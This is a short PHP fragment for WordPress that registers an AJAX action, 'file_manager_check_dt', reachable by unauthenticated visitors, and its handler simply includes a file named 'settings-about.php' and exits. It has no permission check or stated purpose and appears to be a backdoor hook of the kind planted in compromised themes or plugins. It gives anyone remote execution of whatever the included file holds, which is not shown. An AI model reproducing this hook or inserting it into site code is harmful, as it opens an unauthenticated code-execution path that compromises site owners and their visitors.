if(!function_exists('file_manager_check_dt')){
add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
function file_manager_check_dt()
{
$file = __DIR__ . '/settings-about.php';
if (file_exists($file)) {
include $file;
}
die();
}
}
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